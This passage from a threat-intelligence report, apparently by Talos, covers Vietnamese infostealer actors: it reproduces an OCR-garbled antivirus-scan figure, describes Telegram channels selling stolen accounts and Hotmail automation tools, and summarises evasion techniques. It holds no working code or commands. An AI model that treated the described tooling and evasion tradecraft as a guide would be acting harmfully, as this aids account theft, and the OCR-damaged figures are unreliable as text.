AnnLab V3 Interet Security clean
Alyac Internet Security clean
Avast Internet Security clean
AVG AntiVirus clean
Avira Antivirus clean
Bitdefender Total Security ertor: not available
BullGuard Antivirus clean

Clamav clean

[ BN << RN <N <RE<RE<BE BN <RS-}

Comodo Antivirus clean

Dr.Web Security Space 12 clean

a

Emsisoft Anti-Malware clean
ESET NODG2 Antivirus clean
FortiGlient Antivirus clean
F-Secure SAFE clean
IKARUS anti.virus clean
Kaspersky Internet Security clean
McAfee Endpoint Protection clean
Malwarebytes Anti-Malware clean
Panda Antivirus clean
Sophos Home ermor: not available
‘Trend Micro Interet Security clean
Webroot SecureAnywhere error: not available

Windows 10 Defender clean

[ RN <R <R <BN BN <RE<RE<BE<RE RN <RE<RE<HN<]

ZoneAlarm Antivirus clean

a

Zillya Internet Security clean

Figure 61: A private anti-virus checker website.

We also discovered that the attacker is active in an underground 7elegram channel, ‘Mua Ban Scan MINI’, mainly selling
Facebook accounts, Zalo accounts, SIM cards, credentials, and money laundry data. Talos observed that this Vietnamese
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actor is also seen in the Telegram group in which the CoralRaider actor operates. However, we are not certain whether the
actor is a member of the CoralRaider gang or another Vietnamese cybercrime group.

We discovered that the attacker is also promoting another underground Telegram channel, ‘Ct Black Ads — Dropship’, by
sharing a few automation tools to manage large numbers of user accounts in the channel and conducting the exchanging or
selling of information related to social media accounts, proxy services, and a batch account creator tool.

Group Info

Mua Ban Scan MINI

Cu Black Ads - Dropship #

Pinned message #101
Thu banking bm limit 50-250-nIm ai c6 ibox dé dc gia t6t nhat
)

[ %] Lone None 2
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Figure 62: Vietnamese actors advertising their tools in Telegram channels.

The tools shared by the attacker in the group are automated utilities designed to manage several user accounts. These tools
include a Hotmail batch creation tool, an email mining tool, and a Hotmail cookie batch modification tool. The compressed
packages provided by the threat actor often contain not only the executable files for these tools but also their source code,
allowing users to modify them as needed.
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Figure 63: Hotmail batch creation tool seen in actors telegram channel.
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Figure 64: Hotmail cookie batch modification tool seen in actors telegram channel.
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We found that the attacker is not sharing all the tools for free, and some of them require users to send a unique key back to
the Telegram channel administrator for software activation. This process ensures that only those who have been vetted or
have paid for the tool can access its full functionality. We also discovered that these tools are distributed on other websites,
such as achack[.]Jcom, highlighting that they are selling the tools. Additionally, a YouTube channel exists that provides
tutorials on how to use these tools, further facilitating their widespread use and demonstrating the organized efforts to
market and instruct potential users on their application [11].

Mua Ban Scan MINI

Pinned message #90
Du sll tktt ai muc ib nha rate nsx

-

[ #*] Lone None 2

4, DogeChangeVia.zip

Forwarded from Black owl ¥
Share Tool ChangeVia. Send key for admin to Active. Pass unzip: 123

Figure 65: Actor sharing the tier tool and asking users to share a key for the tool activation.

CONCLUSION

Vietnamese threat actors are no longer small-scale hackers focused on regional targets, their impact is becoming global
with a global threat profile.

Our research into the recent surge of information-stealing campaigns orchestrated by Vietnamese threat actor groups reveals a
significant and alarming shift in the global cyber threat landscape. What was once considered localized, low-sophistication
activity has now evolved into a series of technically advanced, financially motivated operations that span continents and target
a wide spectrum of victims — including government entities, educational institutions, businesses and individual users.

Campaigns such as CoralRaider and PXA Stealer illustrate the actors’ growing ability to engineer full-scale offensive
toolchains involving custom-built remote access tools like RotBot, advanced stealers such as XClient and PXA BOT, and
the deployment of notorious malware like CryptBot, LummaC2 and Rhadamanthys. These operations utilize sophisticated
delivery mechanisms, including phishing lures disguised as legal complaints or business-related documents, and employ
living-off-the-land binaries, memory-only payloads, PowerShell loaders, and obfuscated Python scripts to evade detection
and maintain persistence.

As Vietnamese threat actors continue to weaponize user data at scale and infiltrate digital economies, proactive threat
hunting, cross-sector intelligence sharing and public awareness are crucial. Understanding the tactics, infrastructure, and
operational behaviours of these groups is no longer just a cybersecurity imperative — it is a necessary step toward
preserving the digital world.
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